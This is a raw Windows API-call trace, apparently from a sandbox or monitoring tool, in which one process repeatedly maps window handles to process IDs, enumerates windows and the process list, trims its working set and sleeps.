[0270.104] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0270.104] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0270.104] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0270.104] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0270.105] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0270.105] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0270.105] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0270.105] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0270.105] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0270.105] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0270.105] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0270.105] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0270.106] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0270.106] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0270.106] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0270.106] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0270.106] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0270.201] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0270.202] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0270.203] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0270.203] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0270.203] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0270.203] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0270.203] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0270.203] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0270.203] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0270.203] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0270.203] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0270.203] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0270.204] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0270.204] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0270.204] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0270.204] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0270.204] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0270.204] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0270.204] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0270.204] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0270.204] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0270.205] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0270.205] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0270.205] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0270.205] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0270.205] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0270.205] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0270.205] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0270.205] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.205] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0270.205] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0270.206] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0270.206] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0270.206] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.206] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.206] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.207] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0270.207] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0270.207] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.207] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0270.207] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.207] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0270.207] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0270.207] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0270.208] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0270.208] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0270.208] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0270.208] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0270.208] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0270.208] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0270.208] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0270.208] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0270.208] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0270.208] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0270.209] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0270.209] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0270.209] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0270.209] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0270.209] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0270.209] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0270.209] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0270.209] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0270.209] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0270.209] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0270.210] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0270.210] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0270.210] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0270.210] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0270.210] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0270.211] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0270.211] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0270.211] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0270.211] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0270.212] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0270.213] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0270.213] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0270.213] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0270.213] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0270.213] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0270.214] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0270.214] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0270.214] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0270.214] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0270.214] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0270.214] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0270.215] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0270.215] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0270.215] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0270.215] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0270.215] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0270.215] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0270.215] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0270.216] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0270.216] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0270.216] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0270.216] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0270.216] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0270.216] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0270.217] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0270.217] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0270.217] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0270.217] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.217] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0270.217] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0270.217] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0270.217] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0270.218] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0270.343] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0272.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0272.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0272.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0272.298] EnumWindows (lpEnumFunc=0x1b1a2a0c, lParam=0x0) returned 1
[0273.192] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0273.192] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.192] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.192] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.193] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.193] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0273.193] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.193] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0273.193] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0273.193] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0273.193] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
